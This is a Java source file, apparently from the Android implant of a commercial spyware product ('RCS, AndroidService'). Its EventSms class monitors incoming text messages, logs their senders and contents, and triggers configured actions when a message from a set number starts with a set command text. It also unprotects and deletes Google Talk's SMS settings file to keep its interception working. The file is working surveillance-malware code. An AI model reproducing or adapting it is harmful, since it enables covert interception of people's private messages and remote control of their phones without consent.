/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : EventSms.java
* Created : 6-mag-2011
* Author : zeno -> mica vero! Que!!! -> per l'header e' vero. Z. ;)
* *******************************************/
package com.android.dvci.event;
import java.io.File;
import org.w3c.dom.ProcessingInstruction;
import com.android.dvci.ProcessInfo;
import com.android.dvci.ProcessStatus;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfEvent;
import com.android.dvci.conf.ConfigurationException;
import com.android.dvci.file.AutoFile;
import com.android.dvci.file.Path;
import com.android.dvci.interfaces.Observer;
import com.android.dvci.listener.BSm;
import com.android.dvci.listener.ListenerProcess;
import com.android.dvci.listener.ListenerSms;
import com.android.dvci.module.ProcessObserver;
import com.android.dvci.module.message.Sms;
import com.android.dvci.util.Check;
import com.android.dvci.util.StringUtils;
import com.android.mm.M;
public class EventSms extends BaseEvent implements Observer<Sms> {
/** The Constant TAG. */
private static final String TAG = "EventSms"; //$NON-NLS-1$
private int actionOnEnter;
private String number, msg;
//private ProcessObserver processObserver;
@Override
public void actualStart() {
ListenerSms.self().attach(this);
//processObserver = new ProcessObserver(this);
//ListenerProcess.self().attach(processObserver);
}
@Override
public void actualStop() {
ListenerSms.self().detach(this);
//ListenerProcess.self().detach(processObserver);
}
@Override
public boolean parse(ConfEvent conf) {
try {
number = conf.getString(M.e("number"));
msg = conf.getString(M.e("text")).toLowerCase();
BSm.memorize(number, msg);
} catch (final ConfigurationException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error: params FAILED");//$NON-NLS-1$
}
return false;
}
return true;
}
@Override
public void actualGo() {
}
@Override
public void notifyProcess(ProcessInfo b) {
if(b.status == ProcessStatus.STOP && b.processInfo.contains(M.e("com.google.android.talk"))){
String xmlPath = M.e("/data/data/com.google.android.talk/shared_prefs/smsmms.xml");
Path.unprotect(xmlPath);
AutoFile file = new AutoFile(xmlPath);
byte[] data = file.read();
if(data==null)
return;
String content = new String(data);
if(!StringUtils.isEmpty(content))
if(content.contains(M.e("<boolean name=\"enable_smsmms_key\" value=\"true\""))){
if (Cfg.DEBUG) {
Check.log(TAG + " (notifyProcess) Bad value!");
}
file.delete();
}
}
}
// Viene richiamata dal listener (dalla dispatch())
public int notification(Sms s) {
if (Cfg.DEBUG) {
Check.log(TAG + " Got SMS notification from: " + s.getAddress() + " Body: " + s.getBody());//$NON-NLS-1$ //$NON-NLS-2$
}
if(!isInteresting(s, this.number, this.msg)){
return 0;
}
onEnter();
onExit();
return 1;
}
public static boolean isInteresting(Sms s, String number, String msg) {
if (s.getAddress().toLowerCase().endsWith(number) == false) {
return false;
}
// Case insensitive
if (s.getBody().toLowerCase().startsWith(msg) == false) {
return false;
}
return true;
}
}